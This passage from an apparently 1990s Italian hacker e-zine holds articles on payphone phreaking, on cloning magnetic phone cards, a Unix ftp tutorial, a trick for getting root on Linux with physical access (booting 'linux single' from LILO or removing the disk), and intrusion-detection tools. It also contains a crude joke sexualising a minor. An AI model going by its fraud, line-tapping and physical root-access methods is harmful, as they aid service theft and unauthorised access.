per farsi "na ccultura" nel phreaking... Da leggere: - L'elenko telefoniko Telekazzarola ke ci sono tante cose interessanti da leggere e qui vi riporto un passo: Carte Telefoniche Scheda Telefonica Prepagata [...] La richiesta di sostituzione della scheda non utilizzata e provvista del talloncino di sicurezza deve essere rivoltata alla Filiale Telecom di competenza che fornir anche ogni opportuna informazione relativa all'eventuale malfunzionamento della scheda. Bene, ditemi ora come KAZZO faccio a vedere se la maledetta skeda funziona o no se deve essere per forza provvista di talloncino... vado ad intuito forse... - Telefonia generale, un librone ke pu essere facilmente fottuto in una qualsiasi centrale TeleFuck... - Prendersi i cataloghi G.P.E (www.gpekit.com) ke vendono dei bei kit di montaggio (es. Centralino telefonico, Microtrasmettitore per la trasmissione di conversazioni telefoniche... e tante altre cose sfiziose) - Qualsiasi cosa parli di telefonia e elettronica... riviste, opuscoli... - Urbis et Orbis, il mio libro di Latino ke konsiglio di leggere ma non centra comunque un cazzo... Da fare: - Crearsi un gruppo di amici fidati, per lavorare insieme... molto pi divertente, almeno secondo me... (il fatto sta ke io lavoro ankora solo...) - Procurarsi un cellulare ke molto utile, (non intendo dire di mandarsi squilli, messaggini amorosucci, con amikette e fidanzatine, cuoricini e fiorellini... e nemmeno per mettersi a dire in giro: "Oki Walter, comprane 10.000 e vendi tutte quelle azioni ke sono al di sopra di..." perk da dementi...) infatti e comodo per fare chiamate a green e altro... - Visitare le centrali Telesuck per grabbare tanta robba!!! - Trovarsi una ragazza (anke brutta, bha contenti voi!), ke vi consoli se vi hanno tolto la segreteria su green ke utilizzavi a sbafo! - Indire una conferenza Phreaking in Italia e l'ambiente CyberPunk Tenuta dal professore mR_bIs0n e dall'esperto Mr_Skull Ingresso gratuito Salone delle conferenze del Municipio 1 - Crearsi una radio pirata per distribuire informazioni sul phreaking mR_bIs0n _.-^-._.-^-._.-^-._.-^-._.-^-.->Saluti vari<-.-^-._.-^-._.-^-._.-^-._.-^-. Questa lunga e pesante deliriata si conclusa, se vi piace fateci sapere... ma comunque non ce ne "futta" nulla... eheheh Comunque sentirete parlare di noi presto con nuove riviste e guide... forse un giorno o l'altro vedrete in prima pagina de "la Repubblica": Ragazzo 15enne arrestato per molestie sessuali ad una ragazza 27enne... e non sar il caso mio (mR_bIs0n) (sto aspettando da un sacco di tempo una pedofila sui 20 anni che mi molesti sessualmente!!!) ma se guardate pi basso forse noterete: Ragazzo 15enne arrestato per danni alla TeleCom Italia... Vabb ora un po'di saluti (solo di mR_bIs0n... Mr_Skull non ama i saluti...): Vorrei salutare alcuni miei amici e compagni di skuola (e non solo...) - Davide, il mio amikone (anke kiamato Panino, per via della sua rotondit) con il quale trascorro il tempo sfottendo varie persone... risate assicurate... - Giorgio, una vittima dei nostri insulti... un tipo assai divertente... - Federika, forse la mia unika amika in classe... spesso parliamo del suo ragazzo, spesso di cazzate... - Gabriella, una tipa a cui ho insegnato a kome usare il suo Siemens C25... - Marco, l'uniko in klasse a soppravvivere ogni giorno senza aver fatto i compiti assegnati...(nonk mio kompagno di banko... eheheh uso sempre il suo StarTak nell'ora di Religione...) - Peppo, anke konsciuto kome Giusy, un tipo prepotente ma divertente... - Ilaria, una ragazza di 1anno (io so' di 2!!!) co capelli rossi, ke oggi ha detto ke non sono il suo tipo... se ne pentir!!! - Elisa, una mia amika, una delle pi belle ragazze ke io abbia mai conosciuto... - Le Iene!!! Si proprio quelle di Italia Uno!!! Siete fantastici!!! - Il minikaktus ke mia quella scoppiata di mia madre ha messo sulla case del PC... ma ke kaxxo mi centra??? Dedicato a (sempre e solo mR_bIs0n...): Daniela, l'unika ragazza della mia vita... EI! Non fraintendete! Non la mia unika ragazza in senxo di fidanzata... Veramente non nemmeno la mia ragazza... comunque kiss... mR_bIs0n & Mr_Skull | | | | | | | | MAMMA TELEKOMM | | | | DIVENTA + FURBA !:0( | | | | | | | | Salve! Questo DOC l'ho redatto perche' voglio sinceramente fare qualcosa per NewBies che trovo veramente fantastico. Come tutte le cose xo' e' imperfetto e ci sono degli articoli che non sono attendibili a livello di informazioni (purtroppo) :-((((( Io ho sperimentato alcuni dei metodi di phreaking sulle cabine del telefono e non fungono. Vi spieghero'' punto per punto perche'. 1) Una seconda cosetta semplice ricaricare le schede telefoniche, basta soltanto spruzzare della lacca per capelli sulla striscia magnetica e successivamente passarla su un televisore vecchio, la scheda si ricarichera'. -! cagata. xche' come dice in seguito NObodY88 il giochino cambia i dati della scheda ma le possibilita' che vengano incisi i dati precisi relativi a una somma in lira$ sulla scheda sono come quelli di vincere ad una lotteria europea :-) Chiedo scusa a PrOzAcK le cui notizie invece sull'erikson sono corrette. 2)Queste tecniche funzionano tutte (almeno nel momento in cui scrivo): 1.Dovete prendere una scheda vuota (se piena caxxi vostri) e piegarla in quattro in questo modo: | | | | | | | | | | | Dopo | | Prima | | | | | | | | | | | Trovate un telefono che vada ancora a monete. Osservando il vano da dove esce il resto si nota che le monete non escono da sopra come si potrebbe pensare ma dal lato sinistro del vano cosi' voi prendete la vostra scheda piegata in quattro e la in filate nel buco, (vi potete aiutare con una pinza con il beccuccio storto); in questo modo il resto non cadra'' nel vano ma rimarra'' nello scivolo di sinistra. | | | | | | | | | | | | | | | | | | | | | | | | | | | | | \ \ | | | | \ |SSSSSS| | | | \ |SSSSSS| | | | \|SSSSSS| | | | -------| | | | S=scheda | | | | | | | Cosi dopo qualche ora passate e ritirate la mancia. -!altro sistema che non funge + Il sistema funzionava nel momento in cui fusyllo scriveva ma ora, non so come le cabine si accorgono dell'inserimento e vanno f. s. (fuori servizio). 3)Questa tecnica dovrebbe fare in modo che la tessera entri piu'' dentro del dovuto facendo leggere la banda magnetica ma non facendola scrivere. Dovete inserire la scheda carica e comporre il numero, senza fretta e con attenzione a non far accavallare le schede, inseritene due vuote una dietro l'altra. L'importo continuare' a scendere e siccome la tessera v'erra' scritta solo alla fine della telefonata il telefono scrivera'' su quella vuota. -!anche sto metodo non funge + perche' i nuovi modelli multimontra rotor con lettore integrato e i terminali telefonici pubblici dedicati esclusivamente a carte scrivono durante la telefonata e non + dopo!!! Mi sto accorgendo di tutto cio' perche' sto specializzandomi in phreaking di telefoni telekaxxo ma la cosa non e' per nulla semplice. hanno ormai un livello di sicurezza nelle cabine da far paura. se a qualcuno interessa pero' ho scoperto che il collegamento telefonico puo'' essere stabilito veramente in modo semplice: con il cavo (della linea) che esce dal terminale a muro e arrampicandosi per il muro della casa a cui e' applicata va alla centralina a parete. A sto punto basta un normale telefono con morsetti a coccodrillo da una parte e un paio di forbici da elettricista per sbucciare il filo e il dado e' tratto. Purtroppo ho notato il filo solo nelle cabine qui al mare sull'isola della Maddalena da cui scrivo con un portatile.... vi faro' sapere appena tornato in citta' se anche li' si puo'' tentare un lavoro di questo genere. Pero' non sono sicuro di questa ipotesi perche' mi sembra di aver letto da Dante che i segnali sono criptrati. Ho sviluppato anche un'ipotesi e mi piacerebbe che qualcuno mi desse dati su di questa dicendomi se e' realizzabile o no. Con un masterizzatore per bande magnetiche, non sarebbe possibile copiare i dati da una scheda nuova a una usata? ho fatto quest'articolo comunque solo per non farvi perdere tempo con metodi inutilizzabili ma trovo che questa e-zine sia superba. se avete da bombardarmi dopo sto articolo o da uccidermi o altro (tipo dirmi se ho fatto bene o male a realizzarlo o volete altre info sui telekazzofoni) scrivetemi un'email a rez31337@hotmail.com e se non mi e' scaduta l'e-mail vi rispondero'. buona notte ReZ ͻ Ŀ E' POSSIBILE COPIARE SCHEDE MAGNETICHE? ٺ ͼ PREMESSA = scusate in anticipo x tutte le stronzate che si potranno rivelare essere tali in questo articolo :) DOMANDA BY ******* = e' possibile copiare una scheda magnetica? RISPOSTA BY N0bodY88 = e' possibile copiare una scheda magnetica ma purtroppo ci sono due cose che ti romperebbero il cax: 1 - se si copia la scheda nuova da 10.000 chiamata A in una scheda chiamata B e provando ad usare B x un importo di 1000 lire una volta terminata la telefonata provando ad inserire la tessera A noteremmo che l'importo non e' + 10.000 ma ben 9000 lire e cio' ci fa capire (o meglio dedurre) che se c'e' qualke tipo di codice sulla scheda ha poca importanza xche' cmq gli importi sono registrati in qualke bel server sperduto tra roma napoli e milano e quindi anke avendo 20 copie di una tessera l'importo da poter usare sarebbero sempre le solite 10.000 che abbiamo pagato (se l'avete rubata e' un'altro conto =). 2 - da un po' di tempo la telekom ha messo una ulteriore protezione moooolto batarda che vi andro' a spiegare Immaginate di avere copiato la carta A in una carta B. La carta A la avete voi che abitate a Bolzano mentre la carta B la regalate al vs amico phreaker che se ne torna a Siracusa. Ore 10:30 durante la vs pausa chiamate la vs tipa su cell con la vs scheda A e non succede nulla di strano. Alle 11 il vs amico chiama con la scheda B suo padre a casa x dire che e' arrivato e che lo aspetta in stazione. Anke qui nulla di strano. Voi alle 2 chiamate con la scheda A la vs amante ( =) ) e...che succede??? La carta e' disabilitata?????? cosa???? Ed ecco il controllo che fanno alla telekoz...se la stessa scheda viene usata entro poche ore in due posti diversi la telekoz ha delle tabelle standard con degli orari anke xche' chi fa in mezz'ora da bolzano a siracusa ;) (forse Harlok da fumato hihihi). ULTIMA NOTA = queste info dico che sono cose che mi sono state riferite da dipendenti interni telekom (e non novellini...) con cui mio malgrado (o perfortuna ;) dipende dai punti di vista) ho avuto a che fare. Detto cio' scusatemi se ho detto delle stronzate ma ho voluto solo mettere a conoscenza delle ultime cose da me sentite e cmq x verificare basta copiarsi una scheda (che non e' poi cosi' una strinzata) e spedirla ad un amico lontano e mettersi d'accordo x il gg e l'ora... ULTIMO PS = un grande saluto \sPIRIT\ che spero mi stia scrivendo il driver in asm del lettore di schede magnetiche cosi' dopo ce divertimo!!! N0bodY88 "Sfreccio nella notte, proiettuile carico di visioni di morte, razzo tracciante diretto al cuore del problema. E il cuore del problema sono io. Come sempre." "Overminder - Il Sognatore" di Akira Mishima ۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰ ۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰ ۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰ ۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰ ۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰ ͻ Ŀ I COMANDI FTP ٺ ͼ - Introduzione Quando gli utenti internet non sapevano nemmeno cosa fosse l'HTML, quando gopher sembrava una interfaccia rivoluzionaria per accedere ad informazioni, ci si muoveva solo per mezzo di shell unix. Posta elettronica e ftp erano all'ordine del giorno, e su questi (ma altri servizi), Internet e' nata, cresciuta e sviluppata. Perche' vi racconto questo? Dite che e' la scoperta dell'acqua calda? Lo racconto proprio a quelli che si avvicinano a internet e cominciano a scoprire programmi che danno loro servizi incredibili, alcune volte ritengono che siano innovativi, idee geniali ... nello specifico mi riferisco (guarda caso) ai client ftp. Non ci vuole molta fantasia per capire che il file transfer protocol (ftp) e' stato il servizio che ha maggiormente contribuito alla crescita di internet. Anni di uso hanno sollevato problematiche che sono state risolte venendo incontro a tutti i desideri degli utenti. Per questo motivo ci tengo a dire che i vari client ftp esistenti non sono innovativi, incredibili ecc... ma sono l'ennesima scoperta dell'acqua calda di tutto quello che esiste gia' da anni. Dopo questa mia piccola introduzione voglio passare a presentarvi il client ftp piu' semplice, piu' comune, ma potentissimo e il padre di tutti gli altri Mi riferisco al client ftp standard dei sistemi unix. Ci si accede digitando semplicemente ftp da console. Cerchero' di illuminarvi su buona parte di quello che potete fare da console. Vedremo di partire dai comandi piu' banali, quelli che servono per fare un download o upload, passando poi per il resume ftp, l'ftp 'incrociato' fra server e concludendo sulle procedure di automatizzazione del tutto. L'ultimo punto e' senza dubbio quello piu' interessante:avendo accesso ad una shell unix di un server su linea dedicata, vi potrete curare di preparare uno script per poi staccarvi e ritrovarvi al prossimo accesso con il risultato del vostro ftp. Ma procediamo con ordine. - La connessione Supponiamo che la vostra esigenza sia quella di scaricare un file dal sito ftp.spippolatori.com, il primo comando da eseguire e' ovviamente ftp. Digitato ftp otterrete il seguente prompt: ftp> il comando per aprire una connessione ftp e' open che si puo' abbreviare con op, dopo aver dato il comando apparira' la richiesta da inserire l'indirizzo del ftp server. Quindi da ftp>op (si poteva fare anche ftp>open) Si ottiene l'output (to) a quale dobbiamo dare il nome o l'ip del server ftp, nel nostro caso ftp.spippolatori.com Ottenuto il messaggio di welcome verra' richiesta l'utenza. Se siete possessori di un accesso dedicato sul server userete quella, in caso contrario l'utente da utilizzare sara' anonymous (sostituibile con ftp) e la password una qualsiasi sequenza di caratteri il cui ultimo deve essere una @ o una qualcosa che sembri una email. - Mostrare il contenuto A questo punto la vostra necessita' sara' quella di conoscere il contenuto del server ftp. Il comando e' il tradizionale ls di unix che nel caso delle opzioni -la si puo' sostituire con dir. Dir e' sicuramente comodo, ma se sul server fossero presenti directory fatte da caratteri e spazi e' meglio ricorrere a ls -laF. Il parametro F mette uno / alla fine di ogni directory. Quindi la directory 'napo ' (non prendete in considerazione gli apici come nome) con dir vi apparirebbe come 'napo', mentre con ls -laF come 'napo /'. Qualora il contenuto non riesca a rimanere sullo schermo e non abbiate un terminale dotato di scrollbar (il cacca telnet di winbug) potete mandara l'output del vostro ls in un file in questo modo: ftp>ls -laF * lista.txt l'uso dell'asterisco e' il classico wildchart che sta per "tutto" (dir * = mostra tutto) mentre lista.txt e' il file nel quale verra' scritto l'output. Il client vi chiedera' se avete intenzione di creare il file (le risposte sono il classico Y per si o N per no). - Sospendere per andare alla shell Per accedere al file potreste utilizzare i comandi sulle sospensioni dei job come vi ha spiegato shark in questo numero di Newbie, oppure dare il comando ! (gia' puntoesclamativo); in questo modo accederete direttamente alla shell e potrete leggere il file con un classico more lista.txt, per tornare alla sessione ftp il comando sara' invece exit. - Esempi fino a qui es: ftp ftp.spippolatori.com [gia' si puo' accellerare senza dover ricorrere al comando op] ftp> Name (ftp.spippolatori.com): ftp [avremmo potuto anche inserire anonymous] ftp> Password (your email): napo@ [avremmo potuto anche inserire napo@writeme.com] ftp>ls -laF * lista.txt output to local-file: lista.txt? y [rispodiamo si alla richiesta di creare il file] 200 PORT command successful. 150 Opening ASCII mode data connection for /bin/ls. 226 Listing completed. ftp>! [passo il comando ! e ...] [/home/napo]$ more lista.txt [... ottengo la shell unix di partenza alla quale passo il comando per vedere il contenuto del file lista.txt] drwxr-xr-x 10 ftpadmin ftp-adm 1024 May 26 08:28 pub/ -rw-r--r-- 1 ftpadmin ftp-adm 0 Nov 10 1998 Index.txt [/home/napo]$ exit [e con exit torno ...] ftp> [... ad usare il client ftp] - Entrare in una directory Solitamente i server ftp anonymous (quelli nei quali si entra con l'utenza anonymous) contengono i files scaricabili nella directory pub. Per entrare in quella directory il comando e' cd ftp> cd pub 200 PORT command successful .... [dopo ogni comando, una volta aperta la connessione ftp si ottengono sempre poche righe di informazione su cosa sta accadendo] Se la directory contiene spazi allora si deve mettere il nome fra virgolette es: cd "napo " Se invece per caso vi perdete a forza di entrare ed uscire da sottodirectory la vostra bussola e' il comando pwd che vi restituisce il path di dove siete posizionati - Binario o Ascii? A questo punto si deve decidere il tipo di file che si vuole scaricare. La scelta si divide su due possibilita': bin (per i file binari) e ascii (per i file ascii che e' poi quella di default). Scegliere il tipo binario per scaricare un file ascii non comporta nessun problema (se non un download o upload leggermente piu' lento), sceglierlo invece il tipo ascii per un file binario e' solo perdere tempo perche' il vostro file non arrivera' in maniera corretta. - Download e Upload + accorgimenti Per prendere un file il comando e' get nomefile, qualora il nome sia lungo, o abbiate intenzione di scaricare piu' di un file il comando e' mget nomefile1, nomefile2, ..., nomefileN (potete usare anche asterischi o punti di domanda) es: ftp>bin [ora vi salto il discorso dei messaggi di output] ftp>mget * [in questo modo scarico tutti i file contenuti nella directory] Dato il comando mget *, vi verra' chiesta conferma per ogni file se volete farne il download (per interrompere l'operazione basta premere CTRL-C) qualora non vogliate dovere premere Y per tutti i file (potrebbero essere tantissimi) il comando da dare prima del get e' prompt es: ftp>bin ftp>prompt [d'ora in poi non mi verranno fatte domande] ftp>mget * Se siete poi curiosi di avere idea della velocita' di come sta arrivando il file allora dovrete ricorrere al comando hash (da dare, ovviamente, prima di mget) es: ftp>bin ftp>prompt ftp>hash ftp>mget * Con hash otterrete un simbolo di # ogni 1024 byte scaricati Il comando che vi permette invece di fare l'upload e' put nomefile (per uno) o mput nomefile1,nomefile2, ... nomefileN (per N files) - Resume FTP Qualora abbiate la necessita' di interrompere il vostro upload o download e vogliate riprendere in un secondo momento, vi avvallerete delle funzioni di resume (attenzione: funziona solo se il server ftp lo supporta). i comandi sono reget e reput (il primo per il download e il secondo per l'upload). - Directory locali e comandi remoti Un "problema" classico di chi fa upload e' quello di andare a prendere i files nella giusta directory. Per fare questo o siete partiti da quella directory o vi avvalerete del comando lcd (local change directory) seguito dal nome della directory. Se invece il caso fosse quello di dover creare una directory sul server ftp il comando da eseguire sara' site 'md nomedirectory'. Site in realta' serve per passare dei comandi da far eseguire sul server remoto, avrete anche potuto fare cose folli come site 'chmod 777 nomefile'. Ovviamente i sistemisti non sono tutti stupidi e questo comando non viene abilitato a chi ha accesso anonimo, inoltre ricordo che su un server ftp si rispecchia il sistema di permesso ai files o directory sullo stile classico di unix (faccio riferimento a quei drwxr--r-- che si e' soliti vedere: la prima lettera indica che si tratta di una directory, il resto va letto poi in terzine, dove r sta per permesso di lettura, w permesso di scrittura, x permesso di eseguire e le terzine per utente padrone del file, gruppo a cui appartiene l'utente, tutti gli utenti) e quindi non potrete mai eseguire nulla senza i giusti permessi. - Ftp incrociato Spesso capita che si abbia la necessita' di trasferire i file da un server ad un altro passando dalla propria shell. Onde evitare il passaggio server 1 -> server dove ho la shell -> server 2 si usa il comando proxy. Una volta connessi ad un server ftp con la procedura vista sopra si apre una nuova connessione nel seguente modo: proxy op NomeServeraCuiConnettersi. Ovviamente seguiranno ancora le richieste di rito quale utenza e password, da li' in poi si daranno i comandi al server "proxato" (ossia quello aperto con la seconda connessione) anticipandoli con il comando proxy (tranne pero' nei casi dei comandi: bin, ascii, hash e prompt). Ora vi faccio un esempio pratico: [/home/napo]$ ftp ftp.spippolatori.com [do tutte le mie informazioni riguardo user e password] ftp>proxy op ftp.napo.org [e qui ancora tutte le informazioni di user e password] ftp>cd "nuovi articoli" ftp>ascii ftp>prompt ftp>proxy cd "articoli in lavorazione" ftp>proxy mput * [in questo modo passo tutti i file dal server ftp.napo.org contenuti nella directory "articoli in lavorazione" al server ftp.spippolatori.com nella "nuovi articoli" senza che la shell che sto usando parcheggi files. - Chiudere la sessione Finiti tutte le operazioni ftp usciamo salutando: bye e dato questo comando siamo tornati alla nostra shell - Automatizzare La procedura di immettere tutte le volte user e password quando ci si connette diventa barbosa quando si e' soliti andare negli stessi siti. Per fare in modo che sia tutto automatizzato si deve creare un file dal nome .netrc il file va costruito secondo il seguente schema: machine NomeMacchinaFtp login UtenzaSulServer password PasswordUsata Detto in altri termini machine ftp.napo.org login napo password TeLoScordiCheTeLaDiaAnchePerche'NonHoUtenzaSuQuelSitoChePero'Esiste dovrete pero' dare gli attributi di 755 al file (chmod 755 .netrc) D'ora in poi ogni volta che aprirete una connessione ftp, il client leggera' il vostro .netrc e, se trova il server ftp nell'elenco, pensera' lui a passare user e password Per quello che riguarda le operazioni che andrete a fare per la vostra sessione ftp, il sistema da usare e' quello di creare un file ascii con un nome a piacere nel quale inserire i comandi che andrete ad eseguire uno alla volta (ovviamente dovete gia' conoscere la struttura dal sito). Una volta che avrete fatto questa operazione dovrete passare il file comandi al client ftp nel modo classico di unix. Quindi: ftp ftp.spippolatori.com < comandi.txt qualora comandi.txt sia un file contente i comandi: cd "nuovi articoli" ascii prompt proxy op ftp.napo.org proxy cd "articoli in lavorazione" proxy mput * bye - Eseguire un ftp senza dover essere presenti durante il downalod Una volta creato il vostro .netrc e il vostro file contenente i comandi da eseguire potete decidere di staccarvi e lasciare che il download avvenga per i fatti suoi, ma serve fare alcuni accorgimenti. Le strade da seguire sono: nohup, at, screen (ma si possono seguire altre vie) nohup nohup e' un programma che sta per no hung up (non staccare), non e' un comando ftp e va eseguito prima di fare l'ftp quindi [/home/napo]$ nohup [/home/napo]$ ftp ftp.napo.org < comandi.txt [/home/napo]$ logout at at e' un programma che vi permette di eseguire qualcosa in un determinato orario (si puo' usare anche un crontab) si da il comando at seguito dalla data, o dall'ora in cui si vuole parta il processo, a quel punto si "entra" in una sorta di modalita' di editing nella quale inserire i comandi riga per riga e uscire con CTRL-D esempio: [/home/napo]$ at 01.00 ftp ftp.napo.org < comandi.txt [do l'OK premendo CTRL-D] screen screen e' uno splendido programma che permette di gestire un sola sessione di shell come se fossero infinite. una volta digitato screen si possono creare nuove sessioni attraverso CTRL-A (A sta per ADD). Per passare da una sessione all'altra si usa CTRL-N (N= next) Per uccidere una sessione CTRL-K (K = kill). E per staccarsi (ma lasciando i vivi i proccessi) CTRL-D (D = detach). Al successivo rientro nella shell si possono recuperare tutti processi con il comando screen -r Ovviamente screen lo si puo' usare per altre molte cose ... Conclusioni Non ho un cavolo di voglia di rileggere il tutto. Avevo promesso a N0bodY88 che avrei scritto un articolo sul client ftp di unix (magari nei prossimi numeri vi parlo di come installare qualche ftp server per linux). Avevo detto che lo avrei consegnato a mezzanotte e' invece e' l'una :( (domani sveglia alle 6). Ringrazio questa emittente televisiva privata che mi ha fatto compagnia sulla mia scheda tv con il "documentario" 'Topless a Chicago', a base di super tette di donne degli anni 70 (minchia ... certe gnocche! peccato che ora le signorine ora avranno piu' 50 anni) ... tornando agli ftp vi nomino un paio di client ftp a testo per linux molto potenti: ncftp lftp linfXp e vi saluto con il mio solito motto "Che Figa e Vittoria non manchino MAI!!!" Napo Orso Capo (www.napo.org) _ _______ ________ __ _ ______ _ _ _ ____ ________ / \ |_____ | | ___ | \ \ | ||____ || | | | | | |__ | | ___ | / _ \ _ | | | | | | \ \| | | || | | | | | | | | | | | / ___ \ | | | | | |___| | __\ ` | | || |/ /_/ / ____| | | |___| | /_/ \_\ |_| |_| |_______||______| |_||_______/ /____/\_\ |_______| Titolo: ----------Ottenere il root senza digitar password alcuna----------- Sottotitolo:------Potendo toccare la tastiera!----------------------------- Inizialmente linux fu pensato esclusivamente come potente server web cosi' fu trascurata la parte relativa alla sicurezza fisica della macchina (al contra rio di quella virtuale) e avvertirono tutti i SystemOperator di chiudere bene la porta a chiave in quanto avevano introdotto una simpatica funzione per tut ti qui So distratti che dimenticavano la loro Pass, infatti per poter entare nel sistema coi privilegi root bastava e basta scrivere al Lilo pippo single ,dove pippo e' il comando per avviare la patizione linux (solitamente Linux, quindi Al Lilo: linux single). Questo vi dara' accesso ad una shell piuttosto ristretta con ben pochi comandi tra i quali anche passwd che vi permettera' di cambiare la pass di root o edita re il passwd o shadow quindi riavviate con le nuove impostazioni e la nuova pass quindi... fate voi. Al giorno in cui scrivo questa simpatica opzione e' implementata in tutte le distribuzioni tranne SuSE e Debian (Io l'ho provato di persona su RedHat 5.2, Mandrake 5.3 e slackware 3.0 con esiti "positivi" e con SuSE 6.0 & 6.2 con esiti negativi) Se la distribuzione non implementa la funzione avete ben tre altre possibilita': 1- Montare un MiniLinux come root ed editare i file passwd o shadow 2-Se sulla macchina e' montato anche win9x installate uno di quei bei prog per leggere le partizioni Ext2 che se ne fregano altamente di permessi vari ed editare i file passwd o shadow 3-Armatevi di piede di porco sfasciare il case e andare allegramente a casa con un hard Disk in piu' Ho finito per commenti vari scrivere a avogrado@freemail.it Avogrado Enjoied ͻ Ŀ ALCUNE UTILITY INDISPENSABILI ٺ ͼ Premessa Una premessa essenziale. Chi sono io? Io sono solo una persona, che crede nella esplorazione intellettuale a ruota libera delle piu' alte e profonde potenzialita' dei sistemi di computer, le persone come me non si classificano in nessun termine appropriato, il nostro fine e' la pura e sola conoscenza. Io non ho nulla contro societa che pur di fare soldi disprezzano la sicurezza informatica, ma penso che la mia privacy e la mia sicurezza informatica siano importanti, percui preferisco a sistemi operativi commerciali, sistemi operativi Open Source semplicemente perche' posso controllarne e verificarne i problemi di persona. ----------------------------------------------------------------------------- Nmap e Sicurezza. Avete mai provato nmap? Bene, se si saprete di cosa si tratta, altrimenti ve lo spiego io. Per chi non lo sapesse nmap (www.insecure.org/nmap) e' penso un eccellente portscanner con la possibilita di rilevamento del sistema operativo, creato da Fyodor (un vero hacker!). Rilevare un sistema operativo su una macchina remota e' importante in quanto tutti i servizi exploitabili sono macchina dipendenti. Per esempio due settimane fa su BUGTRAQ e' apparso un avviso su un fatale bug del telnet di Red Hat Linux 6.0, supponendo che la nostra macchina remota abbia un accesso telnet, e sapendo la versione del kernel di Linux (lo standard per la rh 6.0, e' 2.2.5, n.b. consiglio a tutti di upgradarlo), un possibile cracker potrebbe crearsi un programmino che sfrutti questo bug e penetrare nel sistema, ottenendo il fatidico accesso root (nota: questo e' il classico comportamento da Script Kiddie, nessuno rimmarra impressionate della vostra abilita', semplicemente avete dimostrato che sapete lanciare un programma). Come prevenire cio? Esistono diversi metodi e molte utility interessanti che fanno al nostro caso,la maggior parte di queste gratuite e aventi come sistema operativo di riferimento Linux. Una nota per gli utenti Windows, lo so che magari siete pigri, ma se potete quando siete in rete usate un sistema piu' sicuro, anche solo per chattare, io non ho nulla contro M$, ma trascurare la sicurezza per la semplicita' d'uso non e' in generale una buona cosa. In questo articolo risponderemo alla seguente domanda: come rendere piu' sicura una macchina stand-alone in Intenet, rilevando tutti gli attacchi e stoppandoli sul nascere. Una buona utility che mi e' piaciuta tanto e' JAIL (Just Another Ip Logger), permette di rilevare anche il piu stupido ping sul tuo IP, si compone in due parti : icmplog e tcplog. Il primo consente di rivelare l'indirizzo di un qualsiasi ping o pacchetto che utilizzi il protocollo ICMP, il secondo per le richieste di connessione. Se nel file /var/log/messages vedete connessioni non richieste da voi, significa che qualcuno quantomeno ha tentato di usare un portscanner su di voi. Per esempio, questo stupido lamer , mi ha fatto lo scan due volte alla ricerca di un NetBus (12345 - e' la porta standard NetBus), quando stavo su IRC: - la prima volta . Sep 1 17:05:06 Cindy tcplog: port 20034 request from rm1-1084.tiscalinet.it Sep 1 17:05:07 Cindy tcplog: port 12345 request from rm1-1084.tiscalinet.it Sep 1 17:05:48 Cindy tcplog: port 12345 request from rm1-1084.tiscalinet.it Sep 1 17:05:51 Cindy last message repeated 3 times - la seconda volta. Sep 1 17:09:34 Cindy tcplog: port 20034 request from rm1-1084.tiscalinet.it Sep 1 17:09:34 Cindy tcplog: port 12345 request from rm1-1084.tiscalinet.it Sep 1 17:09:35 Cindy tcplog: port 12345 request from rm1-1084.tiscalinet.it Sep 1 17:09:35 Cindy tcplog: port 20034 request from rm1-1084.tiscalinet.it Sep 1 17:09:36 Cindy tcplog: port 12345 request from rm1-1084.tiscalinet.it Sep 1 17:09:36 Cindy tcplog: port 20034 request from rm1-1084.tiscalinet.it Sep 1 17:09:37 Cindy tcplog: port 12345 request from rm1-1084.tiscalinet.it Sep 1 17:09:37 Cindy tcplog: port 20034 request from rm1-1084.tiscalinet.it L'esempio sopra descritto illustra l'utilizzo di tcplog, che registra le porte tcp, ma l'icmplog ti puo dire in alcuni casi se il soggetto e' spoofato o meno. Semplicemente facendo il ping su di esso, inoltre ti avvisa nel caso qualcuno ti abbia fatto il ping , vediamo i due casi: - questo e' un indirizzo spoofato: Sep 3 18:03:45 Cindy icmplog: destination unreachable from ns1.cindy.com Nota: avevo fatto il ping su un indirizzo , che mi pareva strano .... - questo e' il ping fatto su di me: Sep 3 18:40:32 Cindy icmplog: echo from dadovago028.dada.it Ora questi e' un utility utile, ma come fermare un portscan ? Bene un'altra utility, che fa parte del progetto Abacus di Craig Rowland ci puo tornare utile, PortSentry (www.psionic.com), anche se ha qualche problemino, infatti e' possibile mandarla in Denial of Service, se lo scan parte dallo stesso route dell'utente, ma generalmente non e' possibile per l'utente che fa lo scan vedere se PortSentry sia attivo o meno. PortSentry blocca lo scan con l'utility ipchains e aggiunge l'indirizzo IP del cracker al file /etc/hosts.deny, inoltre e' possibile far comparire un messaggio al cracker se e' impostata la modalita' normale, oltre a che mandare una mail all'utente root impostando in maniera adeguate il suo file di configurazione. Ovviamente premessa essenziale per la sicurezza e' avere solo i servizi indispensabili. Se non avete una rete, portmap non vi serve, cosi come non vi servono i servizi vari tipo finger, telnet, ftp, http. Consiglio percio' di disabilitarle nel file /etc/inetd.conf tutto il "surplus". Esistono altri programmi, che possono esserci utili? La risposta e' si, ma sono complementari a portsentry, nel senso che possono coesistere con questo, altri semplici sistemi di rilevemento delle intrusioni, come per esempio Snort, di cui ho appreso l'esistenza grazie a CyberPsychotic. Ecco come lo descrive:"Usando le regole di configurazioni di Snort poi specificare su quale tipo di traffico di rete, vuoi che il tuo sistema faccia attenzione, specificando sorgente del pacchetto, porta sorgente, porta destinazione.. ". Proprio cosi', ha funzionalita' simili a quelle di JAIL, ma la sua alta configurabilita' consente di rilevare, a che tipo di attacco si e' sottoposti, e cercare di porre rimedio, per esempio stoppando il servizio o filtrando tramite ipchains i pacchetti provenienti da quell'indirizzo o andando a rintracciare l'aggressore e facendogliela pagare. Un programma utilissimo e' sicuramente Tripware (http:///www.tripewaresecurity.com), anche se e' un programma commerciale, e i sorgenti non sono disponibili, ma i binari sono free. Tripware consente di configurare in maniera adeguata, i file importanti della vostra linux box, e vi manda una mail se un qualsiasi utente (anche root) tenti di modificare uno di quei file configurati con Tripwire, questo vi permette di rilevare, oltre che a eventuale hack della vostra box, la presenza di worm, o un trojan.. uhm davvero utile! Unico neo di quest'ultimo programma e che i binari ( della versione 2.0) non funzionano a modo con la rh 6.0, bisogna ottenere i sorgenti di una versione precedente dalla Suse (ftp.suse.com) e vedere di compilarli per le glibc. ----------------- Conclusioni. I programmi da me descritti, possono essere utilissimi a rilevare un attacco 